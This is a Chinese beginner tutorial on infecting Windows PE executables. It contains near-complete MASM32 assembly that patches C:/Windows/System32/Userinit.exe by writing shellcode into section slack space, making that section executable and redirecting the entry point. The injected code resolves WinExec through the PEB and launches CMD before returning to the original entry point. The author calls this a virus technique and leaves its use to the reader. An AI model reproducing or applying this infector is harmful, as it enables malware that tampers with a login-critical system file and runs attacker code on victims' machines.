感染PE文件的一个简单实例
作者:Cloud
QQ:329967612
感染PE文件是典型的病毒技术,利用它可以做很多事。至于怎么用就是各位读者自己的事。呵呵。这里给出一个简单的代码实例,它将代码保存在节的间隙中,然后修改入口点。很简单,写给初学者。个人觉得具体的例子要比抽象的解说更印象深刻,记得当初我刚学的时候,看那些高手们写的文章,实在是郁闷,概念是懂了但用不到实践中去。希望这篇文章能对各位读者有所帮助。
你需要有一些关于PE文件格式的基本知识,如果你还不了解,可以到网上去搜,多如牛毛。特别是要理解虚拟地址,相对虚拟地址的概念。还要懂一些汇编,能看懂就行。这里用的开发工具是Masm32v9(罗云彬的《Win32汇编语言程序设计》一书对Win32汇编讲得比较好,推荐阅读,网上应该可以下载到)。
OK,那么现在开始。
先定义一些用到的变量。
.const
szExeFile db 'C:/Windows/System32/Userinit.exe',0;这里填你想要感染的文件的路径
.data?
hFile dd ? ;打开的文件句柄
hMapFile dd ? ;创建的内存映射的句柄
lpFile dd ? ;内存映射文件的基地址
lpCodeRVA dd ? ;添加的代码的RVA
lpCodeOffs dd ? ;添加的代码的文件偏移
.code
include AddCode.asm
AddCode.asm就是你要写入文件中的代码,为了使他能够正确执行,有一个重定位的问题,这个到后面再讲。
Start:
invoke CreateFile,offset szUserinit,GENERIC_READ or GENERIC_WRITE,/
NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
.if eax != INVALID_HANDLE_VALUE
mov hFile,eax
invoke CreateFileMapping,eax,NULL,PAGE_READWRITE,0,0,NULL
.if eax
mov hMapFile,eax
invoke MapViewOfFile,eax,FILE_MAP_WRITE orFILE_MAP_READ,0,0,0 ;将文件映射到内存
以上打开要感染的文件并将它映射到内存中去,没什么好讲的。如果不会用,可以查微软的MSDN中的API参考。
下面开始分析PE格式,寻找节中可插入代码的空间。
#define IMAGE_SIZEOF_SHORT_NAME 8
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
union {
DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
DWORD VirtualAddress;
DWORD SizeOfRawData;
DWORD PointerToRawData;
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
这是从SDK中复制的IMAGE_SECTION_HEADER的定义,这里解释一下几个重要的成员的含义。VirtualSize是这个节的真实长度,SizeOfRawData是这个节在经过长度对齐这后的长度(为了装载的方便,编译器在链接生成PE文件的时候,会按照一定长度的倍数对代码进行对齐,不用的空闲空间用0填充。我们的代码就保存在这些间隙中)。PointerToRawData是节在文件中的偏移。VirtualAddress是节的RVA,它加上装载的基地址就是它被加载到内存后的地址。
来看代码:
.if eax
mov lpFile,eax
mov esi,eax
add esi,(IMAGE_DOS_HEADER ptr [esi]).e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
mov ebx,esi
add ebx,sizeof IMAGE_NT_HEADERS
assume ebx:ptr IMAGE_SECTION_HEADER
xor eax,eax
.while ax < [esi].FileHeader.NumberOfSections ;循环所有节
mov ecx,[ebx].SizeOfRawData
.if ecx
sub ecx,[ebx].Misc.VirtualSize
.if ecx >= ADD_CODE_LENGTH ;如果有足够的多余空间则添加代码
jmp @F
.endif
.endif
add ebx,sizeof IMAGE_SECTION_HEADER
inc ax
.endw
它检查节中的空闲空间是否足够保存要插入的代码,够就插入代码。
@@: mov eax,[ebx].VirtualAddress
add eax,[ebx].Misc.VirtualSize
mov lpCodeRVA,eax ;添加的代码的RVA
mov eax,[ebx].PointerToRawData
add eax,[ebx].Misc.VirtualSize
mov lpCodeOffs,eax ;添加的代码的文件偏移
or [ebx].Characteristics,IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_EXECUTE ;给节加上可读和可执行属性
add [ebx].Misc.VirtualSize,ADD_CODE_LENGTH ;修正节的实际大小
add eax,lpFile
invoke RtlMoveMemory,eax,offset ADD_CODE_START,ADD_CODE_LENGTH ;将代码复制到userinit.exe中
mov edi,[esi].OptionalHeader.AddressOfEntryPoint
add edi,[esi].OptionalHeader.ImageBase ;保存原入口点地址
push lpCodeRVA
pop [esi].OptionalHeader.AddressOfEntryPoint ;设置新的入口点
mov eax,lpCodeOffs
add eax,lpFile ;定位到内存映射中的代码插入位置
add eax,offset OldEntryAddr - offset ADD_CODE_START ;定位到OldEntryAddr标号处
mov [eax],edi ;将原入口点写到AddCode.asm最后的dd ?中
对照上面的图应该很容易就能够看懂代码,而且注释写得很详细,就不再解释了。要注意的是不要忘了修改节的属性,有些节是不具有可执行属性的,如果你尝试执行它会导致程序崩溃。最后记住做一些首尾工作,关闭打开的各个文件。为了突出问题,我就省略了。
好了,再来看看插入的代码,例子中它保存在一个单独的文件AddCode.asm中。
ADD_CODE_START equ this byte
assume fs:flat
mov eax,fs:[30h]
mov eax,[eax + 0ch]
mov esi,[eax + 1ch]
lodsd
mov edx,[eax + 8h] ;得到Kernel32基址
mov eax,(IMAGE_DOS_HEADER ptr [edx]).e_lfanew ;得到IMAGE_NT_HEADERS地址
mov eax,(IMAGE_NT_HEADERS ptr [edx + eax]).OptionalHeader.DataDirectory.VirtualAddress ;得到导出表RVA
add eax,edx ;导出表在内存的实际地址
assume eax:ptr IMAGE_EXPORT_DIRECTORY
mov esi,[eax].AddressOfNames
add esi,edx
push 00007373h ;在堆栈中构造GetProcAddress
push 65726464h
push 41636F72h
push 50746547h
push esp
xor ecx,ecx
.repeat
mov edi,[esi]
add edi,edx
push esi
mov esi,[esp + 4]
push ecx
mov ecx,0fh ;GetProcAddress的长度,包括0
repz cmpsb
.break .if ZERO? ;找到跳出循环
pop ecx
pop esi
add esi,4
inc ecx
.until ecx >= [eax].NumberOfNames
pop ecx
mov esi,[eax].AddressOfNameOrdinals
add esi,edx
movzx ecx,word ptr [esi + ecx*2] ;取出序数
mov esi,[eax].AddressOfFunctions
assume eax:nothing
add esi,edx
mov esi,[esi + ecx*4]
add esi,edx ;得到GetProcAddress地址
push 00636578h ;在栈中构造WinExec
push 456E6957h
push esp
push edx
call esi ;调用GetProcAddress获取WinExec地址
push 00444D43h ;;在栈中构造CMD
push esp
push SW_SHOW
push [esp + 4]
call eax ;调用WinExec
db 68h ;push xxxxxxxx指令机器码的第1个字节
OldEntryAddr:
dd ? ;这4个字节用于保存原入口点,和上面的1个字节组成一条完整的push 原入口点指令
jmp dword ptr [esp] ;跳到原入口点
ADD_CODE_END equ this byte
ADD_CODE_LENGTH equ offset ADD_CODE_END - offset ADD_CODE_START ;代码大小
首先必须获得kernel32.dll的地址,然后分析PE文件,从导入表中得到LoadLibrary()和GetProcAddress()的地址,之后就可以任意使用其他DLL导入的函数了。
解释一下获取kernel32.dll基地址的原理。每个进程都有一个称为PEB(进程环境块)的数据结构,我们就通过它来获取。这种方法比较通用,适合NT/2K/XP/2003(不适合Vista,它的动态库映射地址是不确定的),fs保存的段描述符指向线程环境块TEB,在它的偏移30h处是一个指向PEB的指针,通过它的一个成员就可以取得kernel32.dll的基地址。这是一个固定的模式,可以直接当作结论拿来用。如果想搞得更清楚一点,可以查看DDK中PPEB结构的定义。
就到这里,最后说一下,这里的实例代码取自《黑客防线》十月份的杂志。